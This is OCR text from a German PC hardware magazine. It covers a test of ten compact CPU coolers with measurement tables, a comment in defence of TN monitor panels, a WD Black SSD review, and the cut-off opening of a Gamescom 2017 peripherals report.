selbst wenn man zwei weitere Zen- 
timeter Platz zum Luft ansaugen 
einplant, verschwindert der Sha- 
dow Rock LP in deutlich schlanke- 
ren Gehäusen als die 92-mm-Tower. 


Vor deren Leistung braucht er sich 
aber nicht zu verstecken. Zwar er- 
reicht Be Quiet mit der - nomen 
est omen - leisen Abstimmung des 
Shadow Rock LP nicht annähernd 
die Spitzenleistung von Noctua; im 
Vergleich zu Thermaltakes Frio ist 
man sogar lauter und wärmer un- 
terwegs. 2 bis 3 Kelvin Rückstand 
in der 1,0-Sone-Wertung sind in An- 
betracht des Größennachteils aber 
vertretbar und auch die 0,5 Sone 
für 63 °C statt 0,2 Sone beim EKL 
Atlas sind ein zwar deutlich hörba- 
rer, aber für Fans von Mini-PCs ak- 
zeptabler Unterschied. 


EKL Ben Nevis: Kompakt und günstig. 
Der zweite EKL-Testteilnehmer ist, 
wie auch Intels Boxed-Kühler, ein 
Budget-Angebot. Beim Ben Nevis 
wird nicht unter großem Aufwand 
versucht, Oberklasse-Leistung in 
das 92-mm-Format zu quetschen. 
Stattdessen wird so viel Kühler wie 
möglich weggelassen (aber auch 
nicht mehr), um einen niedrigen 
Preis zu erzielen - die reduzierte 
Größe ist nur ein Nebeneffekt. So 
ist der Ben Nevis neben dem Frio 
Silent 12 der höchste Kühler im 
Test, mit 22 Euro aber auch deut- 
lich günstiger als die meisten Kon- 
kurrenten. 


Für sein Geld bekommt man hier 
eine Kühlleistung, die sich knapp 
hinter dem Shadow Rock LP ein- 
ordnet. Bei voller Drehzahl seines 
ungewöhnlichen, trichterförmigen 
Lüfters (vorne 100 mm Durchmes- 
ser, hinten einem 92-mm-Modell 
entsprechend) ist der Ben Nevis 
nur lauter, aber nicht besser als 
die flache Konkurrenz. Im 0,1-So- 
ne-Bereich bietet das aufragende 
EKL-Design dafür eine etwas bes- 
sere Kühlleistung, auch wenn die 


Der EKL Atlas ist asymmetrisch aufgebaut und überragt die Sockelhalterung nur auf 
der Oberseite, aber nicht in Richtung der Grafikkarte. 


eine größere Luftmenge anzusaugen als andere Kühler der 92-mm-Klasse. 


Fünf Heatpipes auf kleinstem Raum: Noctuas NH-U9S ist zwar kleiner als Oberklasse- 
Tower-Kühler, treibt aber den gleichen Aufwand. 
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Im Vergleich zum normalen AXP 100H ist der RH etwas höher, so dass auch ausladen- 
de Mainboard-Kühler und RAM-Module unter den Überhang (hier links) passen. 


Super flacher Exot: Das ungewöhnliche Funktionsprinzip des Engine 27 ermöglicht 
eine ausreichende Kühlleistung bei nur 27 mm Bauhöhe - soviel wie ein RAM-Modul. 


se, in dem auch Grafikkarten mit aufragenden Stromanschlüssen bequem Platz haben. 
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Sockel-2011-Messwerte ein besse- 
res Abschneiden erwarten ließen. 
In beinahe identischer Weise zum 
Frio Silent 12 profitiert der Ben Ne- 
vis aber kaum vom Wechsel auf die 
Sockel-1151-Plattform. Naheliegend 
wäre, dass beide Kühler unter ihrer 
Heatpipe-Direct-Touch-Bauweise 
(HDT) leiden: Im Gegensatz zum 
Atlas und anderen Testteilnehmern 
verzichten Ben Nevis und Frio auf 
eine Bodenplatte, die die konzen- 
trierter auftretende Wärme des 
kleinen Skylake-Chips gleichmäßig 
verteilen könnte. Stattdessen kon- 
taktieren die bearbeiteten Heat- 
pipes direkt die CPU. Besagte Heat- 
pipes liegen aber insbesondere 
beim Ben Nevis ohnehin sehr dicht 
am Prozessor-Zentrum, so dass gar 
keine langen Wärmeleitwege zu 
überbrücken sind. Außerdem fal- 
len die Temperaturverbesserungen 
auf dem weniger stark heizenden 
Core i7-6700K bei Be Quiet und 
Cryorigs C1 ebenfalls eher niedrig 
und kaum besser als bei den HDT- 
Kühlern aus - trotz Bodenplatte. 


Cryorig C1: Flach, breit und stark - 
aber auch laut und nicht ganz billig. 
Besagter С1 ist der teuerste Kühler 
im Test, in den Bereichen Zube- 
hör und Verpackungsqualität wird 
Cryorig aber allenfalls von Noctua 
überboten. Auch der Kühler selbst 
ist sehr hochwertig, ansprechend 
verarbeitet und durchdacht gestal- 
tet, vor allem aber ist er mit einem 
140-mm-Lüfter ausgestattet. Um 
trotz der Gesamthöhe von 74 mm 
noch ausreichend Lamellen unter- 
zubringen, muss Cryorig allerdings 
auf ein Slim-Modell zurückgreifen, 
denn der C1 ist breit, sehr breit, 
und ebenso tief. Deswegen über- 
ragt er den Sockel gleich auf drei 
Seiten deutlich und muss einen ge- 
hórigen Respektabstand zum Main- 
board einhalten - sonst würden 
Konflikte mit Mainboard-Kühlern 
und RAM-Modulen drohen. Über- 
mäßig hoch dürfen letztere aber 
ITX-Mainboards 
trotzdem nicht sein, denn der С1 
hat eben nur eine kurze" Seite und 
diese muss, je nach Sockelposition, 
oft dem PCI-Express-Steckplatz zu- 
gewendet werden, um Kollisionen 
mit der Grafikkarte zu verhindern. 


zumindest auf 


Hat man den großflächigen, aber 
flachen Kühler erstmal eingebaut, 
entschádigt er einen mit einer an- 
sehnlichen Kühlleistung. Der sehr 


gute Spitzenwert wird hierbei 
durch die hohe maximale Lüfter- 
drehzahl erkauft und dürfte làrm- 
bedingt nur wenige Anwender 
interessieren. In der 1,0-Sone-Wer- 
tung belegt das Top-Down-Modell 
von Cryorig aber einen guten vier- 
ten Platz - noch vor dem hoch auf- 
ragenden Ben Nevis und dem hó- 
heren Shadow Rock LP. Leider lässt 
sich diese Effizienz nur bedingt in 
niedrigere Lautheit investieren, 
da die minimale PWM-Drehzahl 
des C1-Lüfters beinahe 50 Prozent 
der Maximaldrehzahl entspricht - 
0,1 Sone sind so nicht möglich. Für 
einen nur im Spielebetrieb genutz- 
ten PC ist er aber noch leise genug 
und Cryorig legt passende Schrau- 
ben bei, um beliebige Lüfter mit 
120-mm-Lochraster nachzurüsten. 


Thermalright AXP 100RH: Höherge- 
legte Ausgabe eines flachen Kühlers. 
Dank eines beiliegenden Mon- 
tagerahmens ebenfalls 120-mm- 
tauglich ist der AXP 100RH. Die 
Abmessungen des 106 mm schlan- 
ken Kühlers würden dadurch 
aber deutlich steigen, mit seinem 
serienmäßigen Slim-Lüfter ist der 
AXP 100RH hingegen nur 67 mm 
hoch - und das ist bereits viel. Ur- 
sprünglich war der AXP 100 noch 
flacher, hatte mit seinem einseitig 
über den Sockelbereich ragenden 
Ende aber immer wieder Kompa- 
tibilitätsprobleme mit RAM oder 
Spannungswandlerkühlern, 
wegen Thermalright der R-Version 
ein paar Millimeter mehr Boden- 
freiheit spendiert hat. 


wes- 


Unverändert geblieben sind der 
Lamellenblock und damit die Kühl- 
charakteristiken. 64,2 °C in der 
1,0-Sone-Messung, also rund 3 Kel- 
vin Rückstand auf den Shadow Rock 
LP, zeigen beim AXP 100RH aber das 
begrenzte Leistungspotenzial seiner 
Größenklasse. Zum Vergleich: Die 
Tower-Kühler an der Spitze errei- 
chen vergleichbare Temperaturen 
bereits bei 0,1 Sone. Thermalright 
kompensiert die Effizienzschwäche 
optional mit einer höheren Lüfter- 
drehzahl - mit 2,2 Sone kommt man 
wieder in die Nähe der 1,4-Sone- 
Spitzenleistung des Shadow Rock 
LP. Eigentlich ist der AXP 100RH 
aber für den leisen Betrieb in engen 
PCs mit eher stromsparenden CPUs 
ausgelegt. So schrumpft sein Rück- 
stand auf den Atlas sogar mit abneh- 
mender Drehzahl. 
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Noctuas NH-L9 ist ungefàhr so hoch wie ein ATX-I/O-Panel. Darüber muss aber gege- 
benenfalls noch Platz zum Luftansaugen eingeplant werden. 


Temperaturen bei 50 Prozent Auslastung 


100% Drehzahl, 4 Kerne belaste 


100% Drehzahl, 2 Kerne belaste 
75% Drehzahl, 2 Kerne belaste 
50% Drehzahl, 2 Kerne belaste 


100% Drehzahl, 2 Kerne belaste 
75% Drehzahl, 2 Kerne belaste 
50% Drehzahl, 2 Kerne belaste 


Thermaltake Engine 27 mit Serienlüfter 
D 843 
ww 
www a,; 2,7 
о 20,0 
Intel Boxed-Kühler (15-6500) тїї Serienlüfter 
100% Drehzahl, 4 Kerne belastet [Xm 85,4 
69, 


wP 
=ww—ssss 


System: i7-6700K; enhanced Turbo deaktiviert; Bemerkungen: Läuft Core Damage 
nur auf 2 von 4 Kernen, so sinkt die Abwárme von 75 auf 50 W und die Kühlleistung der 
kleinsten Testteilnehmer reicht aus. Angegeben ist nur die Temperatur der belasteten Kerne. 


°C 
Besser 


NH-L9i: Fein, aber beinahe zu klein. 
Mit dem zweiten Noctua-Modell 
im Test beginnt das Feld der Micro- 
Kühler, die sich gesammelt am 
Ende des Testfeldes platzieren - 
eine niedrige Leistung ist eben ty- 
pisch für so kompakte Kühler. Das 
gilt auch für die eingeschränkte 
Kompatibilität, denn bei einer Bau- 
höhe von nur 38 mm bleibt wenig 
Spielraum für flexible Halterungs- 
systeme: Den NH-L9 kauft man ent- 
weder in der Sockel-1151- oder ei- 
ner AM3/FM2-Variante (,-L9a*). Als 
Ausgleich für die mangelnde Flexi- 
bilität vereinfacht sich die Instal- 
lation, neben dem Kühler braucht 
man nur vier Schrauben auf der 
Mainboard-Rückseite. Einmal mon- 
tiert erhält man Noctua-typisch ein 
weit nach oben reichendes Dreh- 
zahlspektrum bis 3,0 Sone, das für 
eine ansprechende Leistung auch 
benötigt wird. Bei 1,0 Sone schnellt 
die Temperatur des Core i7-6700K 
unter dem NH-L9i hingegen auf 
über 73 °C. Eine weitere Drosse- 
lung ist nur bei geringerer Wärme- 


entwicklung sinnvoll, wobei der 
92-mm-Slim-Lüfter Noctua-unty- 
pisch bereits bei 40 Prozent der 
Maximaldrehzahl sein Minimum er- 
reicht und leichte Nebengeräusche 
von sich gibt. 


Intel Boxed-Kühler (i5-6500): Über- 
fordert und nur schlecht regelbar. 
Das untere Ende der Leistungs- 
tabelle markiert der leichteste, mit 
45 mm Höhe aber nicht flachste, 
und im PCGH-Messverfahren leises- 
te Kühler - letztere Einschränkung 
ist wichtig. Intels Boxed-Kühler er- 
hielten in Pentium-4-Tagen einen 
integrierten Temperaturfühler, der 
die Lüfterdrehzahl in Abhängigkeit 
von der Gehäusetemperatur regu- 
liert. Obwohl moderne onboard- 
Lüftersteuerungen mit direktem 
Zugriff auf die CPU-Temperatur 
solch archaische Methoden über- 
flüssig machen, finden wir den glei- 
chen Mechanismus auch bei unse- 
rem Boxed-Kandidaten, der einem 
Core i5-6500 beilag. Der Lüfter 
erreicht in kühler Umgebung, also 


CPU-KÜHLER 


Auszug aus Testtabelle 
mit 62 Wertungskriterien 


Produkt 


Hersteller 


Test in PCGH 04/16 


Test in PCGH 01/17 


Test in PCGH 01/17 


Test in PCGH 04/16 


Test in PCGH 09/15 


Atlas 
EKL Alpenfóhn (www.alpenfoehn.de) 


Frio Silent 12 


Thermaltake (www.thermaltake.com) 


at 


"al z 


NH-U9S 


Noctua (www.noctua.at) 


Shadow Rock LP 


Be Quiet (www.bequiet.de) 


Ben Nevis 
EKL Alpenföhn (www.alpenfoehn.de) 


Preis/Preis-Leistungs-Verhältnis 
Link zum PCGH-Preisvergleich 
Ausstattung (20%) 


Enthaltene Lüfter/Anschluss/Entkopp- 
lung 


Ca. € 40,-/Note 1- 


Ca. € 38,-/Note 2+ 


Ca. € 55,-/Note 3+ 


Ca. € 35,-/Note 2+ 


Ca. € 22,-/Note 1- 


www.pcgh.de/preis/1302535 


2x 92 mm (abweichende Rahmen- 
form)/4 pin/ja 


www.pcgh.de/preis/1158734 


form)/4 pin/nein 


1x 120 mm (abweichende Rahmen- 


www.pcgh.de/preis/1196609 


1x 92 mm/4 pin/ja 


www.pcgh.de/preis/1215207 


1x 120 mm/4 pin/nein 


www.pcgh.de/preis/1211188 


1x ca. 100 mm (Rahmen rückseitig 
92 тт)/4 pin/ja 


Montierbare Lüfter* 


2x 80 mm 


1x 92 mm Lochabstand (zu groß für 
92 mm Lüfter, zu klein für 120 mm) 


2x 92 mm 1x 120 mm 


1x 92 mm 


Lüfterdrehzahl min. — max. (PWM) 


350 - 1.770 U/min 


480 — 1.350 U/min 


200 — 2.150 U/min 


330 – 1.520 U/min 


820 – 1.700 U/min 


Ausführung Boden 


Kupferbodenplatte, vernickelt 


Heatpipe Direct Touch (HDT) 


Kupferbodenplatte, vernickelt 


Kupferbodenplatte, vernickelt 


Heatpipe Direct Touch (HDT) 


Wärmeleitmittel/Lüftersteuerung/Extras 


Eigenschaften (20%) 
Sockelunterstützung AMD 


Spritze/Molex-Adapter 7 V/Mo- 
lex-Adapter 12 V 


2,10 
AM2(+)/AM3(+)/FM1/FM2(+) 
(AM4-Kit verfügbar) 


Spritze/Spannungsadapter/keine 


2,17 
AM4/AM2(+)/AM3(+)IFM1/FM2(+) 


Spritze NT-H1/Spannungsadapter/ 
einfacher Schraubendreher 

2,18 
АМ2(+)/АМЗ(+)/ЕМ1/ЕМ2(+) 


Voraufgetragen/keine/keine 


2,26 
АМА/АМ2(+)/АМЗ(+)/ЕМ1/ЕМ2(+) 


Tütchen/keine/keine 


1,66 
АМА/АМ2(+)/АМЗ(+)/ЕМ1/ЕМ2(+) 


Sockelunterstützung Intel 


1150/1151/1155/1156/2011/2011- 


1150/1151/1155/1156/2011/2011- 


1150/1151/1155/1156/2011/2011- 


1150/1151/1155/1156/2011/2011- 


1150/1151/1155/1156/2011/2011- 


(100/75/50 %) 


v3/2066/1366/775 v3/2066/1366/775 v3/2066 v3/2066/1366/775 v3/2066 

Anpresskraft Sockel 1151 220 N 230 N 300 N (Intel-Vorgabe: Maximal 440 N (Intel-Vorgabe: Maximal 110N 
222 N) 222 N) 

Maße (B x H x T); Gewicht mit Lüfter(n) | 108 x 124 x 138 mm; 643 g 128 x 141 x 67 mm; 330 g 96 x 126 x 95 mm; 610 g 122 x 81 x 135 mm; 461 g 118 x 141 x 71 mm; 490 g 
Montageaufwand (AMD/115X/2011) Mittel/mittel/gering Mittel/mittel/mittel Gering/gering/gering Gering/mittel/gering Minimal/gering/minimal 
Platinenausbau nötig (AMD/115X/2011) |Ja/ja/nein Ja/jalnein Nein/ja/nein Ја/ја/пеіп Nein/ja/nein 
Gedrehte Montage (AMD/115X/2011) |Ja/ja/ja Möglich/möglich/möglich Nicht möglich/möglich/möglich Nein/ja/ja Nein/ja/ja 
Leistung (60%) 1,02 1,29 1,78 1,78 1,98 
CPU-Temp., Serienlüfter (100/75/50 96) |54,9/57,1/63,2 °C 58,6/60,2/64,4 °C 57,5/59,8/63,6 °C 60,4/62,4/67,4 °C 60,8/61,9/65,2 °C 
Lautheit Serienlüfter (100/75/50 %) 1,5/0,5/0,2 Sone 1,1/0,4/0,1 Sone 2,5/0,8/0,1 Sone 1,4/0,5/0,1 Sone 2,1/0,6/0,1 Sone 
Schalldruckpegel Serienlüfter 31,8/22,5/18,8 dB(A) 30,0/23,2/17,5 dB(A) 37,3/27,5/18,8 dB(A) 32,2/24,3/17,2 dB(A) 35,1/25,6/17,9 dB(A) 


CPU-Temp., Serienlüfter bei 1.0 Sone 


55,1 *C (1.500 U/min) 


FAZIT 


© Hohe Leistung & Effizienz 
© Relativ leise 
© Sehr tief 


Wertung: 1,40 
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58,4 °C (1.310 U/min) 


© Hohe Leistung 
Q Leise 
© Relativ hoch 


Wertung: 1,81 


59,0 °C (1.680 U/min) 


© Hohe Leistung 
© Hochwertiger Lüfter 
© Teuer 


Wertung: 1,95 


61,2 °C (1.330 U/min) 


© Sehr kompakt 
© Relativ leise 
© Noch gute Leistung 


Wertung: 2,04 


61,6 °C (1.420 U/min) 


© Noch gute Leistung 
© Günstig 
© Relativ hoch 


Wertung: 2,14 


www.pcgameshardware.de 


*Lüfter mit größentypischen Rahmen. Ggf. weitere Formate mit atypischen Rahmen möglich **Maximalleistung bei 25 °C Umgebungstemperatur. In wärmerer Umgebung höhere 


Drehzahlen und damit höhere Leistung bei höherer Lautheit 


Vergleich: 10 kompakte CPU-Kühler | PROZESSOREN 


auf unserem offenen Testaufbau, 
im PCGH-Schallmessraum oder in 
gut belüfteten Gehäusen, eine ma- 
ximale Drehzahl von knapp über 
2.000 U/min. Das ist mit 0,8 Sone 
angenehm leise, führt aber zu kata- 
strophalen Temperaturwerten. Be- 
reits bei einer weiteren Drehzahlre- 
duzierung auf 75 Prozent erreicht 
die Test-CPU kritische Werte und 
drosselt ihren Takt. Zugegebener- 
maßen liegt das Testszenario mit 
75 W Verbrauch über der Core-i5- 
TDP von 65 W. Aber auch wenn wir 
die Leistungsaufnahme auf 50 W 
senken, in dem wir von vier Kernen 
nur zwei belasten, steigen deren 
Temperaturen leicht auf über 80 °C 
(siehe links). Das ändert sich in 
heißer Umgebung: Mit Wärmestau 
unter einem Pappkarton messen 
wir bis zu 3.200 U/min und zeit- 
weilig sinkt die Temperatur sogar 
trotz der vorgewärmten Ansaug- 
luft. Reproduzieren können wir 
derartige Umgebungsbedingungen 
aber nicht - und empfehlen eben- 
sowenig. 


Thermaltake Engine 27: Lange ange- 
kündigt, zu Recht erst spät geliefert. 
Auch das Schlusslicht unserer Test- 
tabelle ist nur für Sockel-1151-CPUs 
gedacht und nicht für 75 W Verlust- 
leistung spezifiziert (maximal 70 W 
TDP). In jeder anderen Hinsicht ist 
der Engine 27 einzigartig. Das be- 
ginnt bei der Höhe - wo Noctuas 
NH-U9i die Höhe eines ATX-I/O- 
Panels knapp überrragt, schließt 
Thermaltakes Exot bündig mit 
RAM-Modulen ab. Kaum ein ande- 
rer Kühler am Markt unterbietet die 
27 mm Höhe des Engine 27 - und 
kein einziger davon ist für CPUs mit 
95 W TDP spezifiert. Auch Ther- 
maltakes Flachmann kämpft mit 
unserem Testszenario. Bestenfalls 
84,3 °C trotz maximal 1,6 Sone 
sind bereits drei Grad schlechter 
als 81,4 °C beim Noctua NH-L9i mit 
0,1 Sone. Bei halbierter Drehzahl 
müssen wir den Test dann abbre- 
chen - 75 W sind einfach zu viel. 
Immerhin schafft der Engine 27 
aber noch einen Durchlauf bei 
75 Prozent der Maximaldrehzahl 


und im leistungsreduzierten Test 
mit 50 W Verlustleistung bleibt er 
konstant vor dem zwar etwas leise- 
ren, aber eben auch ganze 40 Pro- 
zent (!) höheren Boxed-Kühler. 


Möglich macht diese, gemessen am 
Volumen des Kühlers durchaus an- 
sehnliche, Leistung der ungewöhn- 
liche Lüfter des Engine 27. Als ,ki- 
netic cooler* geisterte sein Konzept 
jahrelang über Messen und durch 
Artikel. Oft zeigten Wissenschaft- 
ler und Start-Ups nur Simulationen, 
seltener Prototypen - und bis heute 
ist Thermaltake der einzige regulà- 
re Anbieter am Markt. Kernstück 
des von Wissenschaftlern der ame- 
rikanische Sandia Labs entwickel- 
ten Konzeptes ist die Nutzung des 
Lüfters selbst als Kühlkórper, der 
aus diesem Grund vollstándig aus 
Aluminium besteht. Bei Miniatur- 
Kühlern haben die Lüfter oft einen 
sehr grofsen Anteil am Gesamtvo- 
lumen, aufserdem herrschen auf 
ihren Blättern bestmögliche Stró- 
mungsbedingungen. Um diese Flä- 


chen zur Wärmeabgabe nutzen zu 
können, braucht man aber eine ex- 
trem stabile und präzise Lagerung: 
Zwischen der riesigen Bodenplatte 
des Lüfters und der Kühlerbasis 
liegt beim Engine 27 ein nur gut 
2 Mikrometer dünner Luftspalt, 
starke Verwirbelungen ermögli- 
chen einen direkten Wärmeüber- 
gang an den Rotor. Leider geht das 
Lüfterblatt-reiche Radialdesign des 
nominell leisen Kühlers aber mit 
einem bei voller Drehzahl unange- 
nehmen Laufgeräusch einher. (tv) 


Fazit Hardware 


Größe kann nicht ersetzt werden 
Mit beeindruckendem Aufwand entlo- 
cken die Hersteller auch winzigen Küh- 
lern eine annehmbare Leistung; selbst 
im Thin-Mini-ITX-Format wäre ein effi- 
zienter Quadcore kühlbar. Aber jeder 
Zentimeter weniger Höhe kostet wert- 
volle Kühleffizienz — im Interesse von 
Temperaturen und Lautheit sollte man 
vorhandenen Platz also ausnutzen. 
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CPU-KÜHLER 


Auszug aus Testtabelle 
mit 62 Wertungskriterien 


Produkt C1 


Hersteller 


e 


Cryorig (www.cryorig.com) 


AXP 100RH 


Thermalright (www.thermalright.de) 


E 


NH-L9i 


Noctua (www.noctua.at) 


Boxed-Kühler (i5-6500) 


Intel (www.intel.de) 


TOP-TECHNIK 


SS 


Нагйшаге 


Епдїпе 27 


Thermaltake (www.thermaltake.com) 


Preis/Preis-Leistungs-Verhältnis 


Ca. € 60,-/Note 3- 


Ca. € 49,-/Note 3 


Ca. € 39,-/Note 3- 


Ca. € 4,- Aufpreis/Note 1+ 


Ca. € 45,-/Note 5 


Link zum PCGH-Preisvergleich 
Ausstattung (20%) 

Enthaltene Lüfter/Anschluss/Entkopp- 
lung 


www.pcgh.de/preis/1139642 


1x 140 mm (slim)/4 pin/ja 


www.pcgh.de/preis/1586415 


1x 100 mm (92 mm Rahmen- 
design)/4 pin/nein 


www.pcgh.de/preis/857461 


1x 92 mm (slim)/4 pin/nein (Auf- 
lageflächen wirkungslos, da fest 
verschraubt) 


nein 


www.pcgh.de/preis/1290386 


1x ca. 92 mm (proprietär)/4 pin/ 


www.pcgh.de/preis/1516439 


1x 60 mm (proprietär)/4 pin/nein 


Montierbare Lüfter* 


1x 120 mm 


1x 92 mm (Adapter auf 120 mm 
beiliegend) 


1x 92 mm (slim) 


— (Lüfter fest integriert) 


— (Lüfter fest integriert) 


Lüfterdrehzahl min. — max. (PWM) 


730 - 1.520 U/min 


880 — 2.350 U/min 


1.070 – 2.610 U/min 


1.020 — 2.040 U/min** 


1.520 — 2.520 U/min 


Ausführung Boden 


Kupferbodenplatte, vernickelt 


Kupferbodenplatte, vernickelt 


Kupferbodenplatte, vernickelt 


Aluminiumbodenplatte 


Kupferbodenplatte, vernickelt 


Wärmeleitmittel/Lüftersteuerung/Extras 


Spritze/keine/einfacher Schrau- 


Tütchen Chill Factor/keine/keine 


bendreher 
Eigenschaften (20%) 2,30 2,10 
Sockelunterstützung AMD AM2(+)/AM3(+)/FM1/FM2(+) AM4/AM2(+)/AM3(+)/FM1/ 
(AM4-Kit verfügbar) FM2(+)/939 


Spritze NT-H1/Spannungsadapter/ 
keine Prozessor 


2,81 2,75 
— (AMD-Version: NH-L9a) _ 


Voraufgetragen/keine/oft inklusive 


Spritze/Spannungsadapter/keine 


3,04 


Sockelunterstützung Intel 


1150/1151/1155/1156/2011/2011- 
v3/2066/1366/775 


v3/2066/1366/775 


1150/1151/1155/1156/2011/2011- 


1150/1151/1155/1156 


1150/1151/1155/1156 


1150/1151/1155/1156 


CPU-Temp., Serienlüfter (100/75/50 %) 


58,6/60,0/63,2 °C 


61,5/64,2/68,7 °C 


Anpresskraft Sockel 1151 310 N (Intel-Vorgabe: Maximal 320 N (Intel-Vorgabe: Maximal 160 N 70N 170 N 

222 N) 222 N) 
Maße (B x H x T); Gewicht mit Lüfter(n) | 140 x 74 x 146 mm; 650g 106 x 67 x 123 mm; 340 g 95 х 38 x 95 mm; 420 g 91 x 45 x 91 mm; 180 g 92 x 27 x 92 mm; 300 g 
Montageaufwand (AMD/115X/2011) Mittel/gering/gering Mittel/mittel/mittel -/gering/hoch -/minimal/hoch -/mittel/hoch 
Platinenausbau nötig (AMD/115X/2011) |Ja/ja/nein Jalja/nein -/ja/nein —/nein/nein -/ja/nein 
Gedrehte Montage (AMD/115X/2011) | Möglich/möglich/möglich Nicht möglich/möglich/möglich -/móglich/nicht möglich —/möglich/nicht möglich -/möglich/nicht möglich 
Leistung (60%) 2,50 2,51 4,19 4,24 5,44 


68,7/73,5/81,4 °C 


85,4/>100/>100 °C ** 


84,3/88,6/>100 °C 


Lautheit Serienlüfter (100/75/50 %) 


3,4/1,5/0,5 Sone 


2,2/1,0/0,2 Sone 


3,0/1,0/0,2 Sone 


0,8/0,3/0,1 Sone ** 


1,6/0,5/0,1 Sone 


Schalldruckpegel Serienlüfter 
(100/75/50 %) 


40,2/31,3/21,4 dB(A) 


36,5/29,3/20,4 dB(A) 


39,8/29,5/20,7 dB(A) 


28,5/21,5/17,1 dB(A) ** 


33,9/24,3/17,2 dB(A) 


*Lüfter mit größentypischen Rahmen. Ggf. weitere Formate mit atypischen Rahmen möglich **Maximalleistung bei 25 °C Umgebungstemperatur. In wármerer Umgebung höhere 


Drehzahlen und damit hóhere Leistung bei hóherer Lautheit 


CPU-Temp., Serienlüfter bei 1.0 Sone 


FAZIT 


www.pcgameshardware.de 


60,7 °C (960 U/min) 


© Hohe Leistung 
© Relativ laut 
© Sehr breit 


Wertung: 2,4 


64,2 °C (1.800 U/min) 


© Relativ flach 
© Noch gute Leistung 
© Mittelmäßige Effizienz 


Wertung: 2,42 


73,5 °C (1.860 U/min) 


© Sehr flach 
© Vor allem gedrosselt schwach 
© Bei voller Drehzahl laut 


Wertung: 3,54. 


Nicht möglich (max. 0,8 Sone) ** 


© Leistungsschwach 
© Kostet bis zu 350 Euro... 
©... mit beiliegender CPU 


Wertung: 3,74 


86,2 °C (4.380 U/min) 


© Extrem flach 
© Leises, aber pfeifendes Geräusch 
© Leistungsschwach 


Wertung: 4,41 


10/17 | PC Games Hardware 77 


Manuel Christa 
Fachbereich Pixelästhetik 
E-Mail: mc@pcgh.de 


Kommentar 


Aktuelle TN-Panels haben zu Unrecht 
einen schlechten Ruf. Es wird Zeit, den 
Reflex, bei jedem neuen Modell „Schrott- 
TN" schreien zu wollen, abzulegen und 
sich eine neue Meinung zu bilden. 


Natürlich sind IPS-Panels den TN-Displays in 
vielerlei Hinsicht überlegen. Sie erreichen etwa 
eine genauere und bessere Farbtreue und sind 
deutlich stabiler im Blickwinkel als die alten 
TN-Kamellen. Eine hohe Farbraumabdeckung 
oder Farbtreue ist aber lediglich für Grafiker 
oder Bildbearbeiter relevant. Hier soll das dar- 
gestellte Bild idealerweise dem Ausdruck so nah 
kommen wie möglich. Da schnelle Bewegungen 
keine Rolle spielen, kommt ein brillantes Gra- 
fiker-Panel auch mit 60 Hertz klar. Ein Gamer 
aber hat andere Ansprüche: Hier sollen schnelle 
Bewegungen am Display scharf und bestmög- 
lich schlierenfrei dargestellt werden. Dazu be- 
darf es einer hohen Bildwiederholrate, kurzer 
Reaktionszeiten oder Techniken wie des soge- 
nannten Black Frame Insertion, das übrigens je- 
der Hersteller anders nennt — Nvidia etwa ULMB 
und Benq ,DyAc". Natürlich gibt es hochfre- 
quente und reaktionsschnelle IPS-Panels. Die 
kosten aber ordentlich — mit circa 700 Euro sind 
Sie dabei, wenn Sie IPS in 27 Zoll, WQHD-Auf- 
lósung und 144 Hz wünschen. Dasselbe als TN 
gibt es schon in Monitoren unter 500 Euro. Und 
wem Full HD auf 24 Zoll ausreicht, was noch 
immer zeitgemäß ist, der bekommt bereits für 
circa 300 Euro ein gutes Zockermodell. Da auch 
TN ein gutes Kontrastverháltnis über 1.000:1 
erreicht, über das IPS-Modelle auch nicht hi- 
nauskommen, fällt die geringere Farbbrillanz 
einem Otto Normalzocker auch nicht unbedingt 
auf. Schlechte TN-Panels gibt es natürlich noch 
immer, aber fast nur noch in Billigheimern, die 
Full HD bei 60 Hz bieten. Die deutlich besseren 
sind nicht unbedingt deutlich teurer und haben 
dank unerreicht niedriger Reaktionszeiten weni- 
ger Schlieren in Bewegungen. Lieber ein guter 
TN-Monitor als ein billiger IPS. 
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Infrastruktur 
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Nicht nur die Platine ist blau 


Sondern auch die Leistung - zumindest nach der 
Nomenklatur von Western Digital, die von Grün 
über Blau bis Schwarz die Speichermedien in spar- 
same bis leistungsstarke Modelle einordnet. 


WX Jestern Digital, einer der letzten Festplat- 
ten-Dinosaurier, hielt sich lange zurück 


auf dem SSD-Markt, bis der Konzern im letzten 
Jahr den Flash-Spezialisten Sandisk einheims- 
te. Prompt folgten mit einer ,Blue* und einer 
„Green“ die WD-SSDs, die technisch identisch 
mit Sandisk-Modellen sind. Es war also leicht zu 
erraten, dass eine WD Black SSD folgen wird, die 
in der aktuellen Oberklasse der PCIe-SSDs mit- 
mischen soll. 


Sowohl Ausstattung als auch Lese- und Schreib- 
raten zeigen, dass die WD Black eher ein Mittel- 
klasse- als ein High-End-Laufwerk unter den 
PCIe-Modellen ist. Beim Flash handelt es sich 
um 2D-TLC-NAND, beim Controller um einen 
Marvell 88SS1093 - beide nicht die neuesten 
Komponenten. Im AS-SSD-Benchmark bringt 
das Gespann es auf eine Leserate von ca. 1.280 
MB/s und auf eine Schreibrate von 763 MB/s. 
In der Schreibleistung ist die WD Black damit 
náher bei den SATA-SSDs als bei anderen PCIe- 


SSDs. Unter Letztern wird sie nur von der Intel 
600p unterboten. 


Da Samsung mit den 960er-Modellen in der 
PCle-Liga unangreifbar ist, definiert sich die WD 
Black nur über ihren Preis. Hier kann sie punk- 
ten: Sie ist kaum teurer als die schwächere Intel 
600p und bietet obendrein noch fünf Jahre Ga- 
rantie, was nur bei den deutlich teureren SSDs 
mit MLC-Chips üblich ist. Das macht die WD 
Black zur interessanten Alternative. (mc) 


Western Digital WD Black PCle SSD 


Fazit: Es bedarf nicht noch eines Modells, das nicht gegen 
die Samsungs ankommt. Western Digital macht es daher 
richtig und trumpft mit einem guten Preis-Leistungs-Ver- 
háltnis und überdurchschnittlichen fünf Jahren Garantie auf. 


Hersteller: Western Digital 
Web: www.wdc.com 
Preis: Ca. € 190,- | Preis-Leistung: Gut 


© s Ausstattung 2,20 
|+ G Eigenschaften | 1,13 
e Mil e Leistung 3,04 
GH- eich www.pcgh.de/preis/1560050 
WERTUNG 
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Bild: Sharkoon 


Bild: Roccat 


Gamescom 2017: Neue Spielpartner 


Auf der Gamescom gibt es neben kommenden 
Spiele-Blockbustern auch immer die neueste 
Gamer-Hardware zu bestaunen. Hier kommen die 
Peripherie-Highlights der diesjáhrigen Messe. 


ei Roccat präsentierte man uns mit der Kone 

Aimo und der Horde Aimo gleich zwei neue 
Eingabegeräte. Die für 80 Euro erhältliche Aimo 
